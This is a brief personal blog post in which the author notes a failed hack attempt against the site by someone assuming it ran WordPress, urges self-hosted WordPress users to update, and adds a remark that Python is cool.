Please... My Shit is Custom

For those a bit slow on the uptake of movie references, the title of this post is from Resident Evil 2... you know, the one filmed in Toronto ;-)

I just noticed a hack attempt on this site by someone assuming that I was running WordPress:

If you're running WordPress on your own servers, please update your software. It would appear that there's security holes in one of the older versions of which some less-than-noble people are aware.

Also, Python is cool. I just wanted to share that ;-)
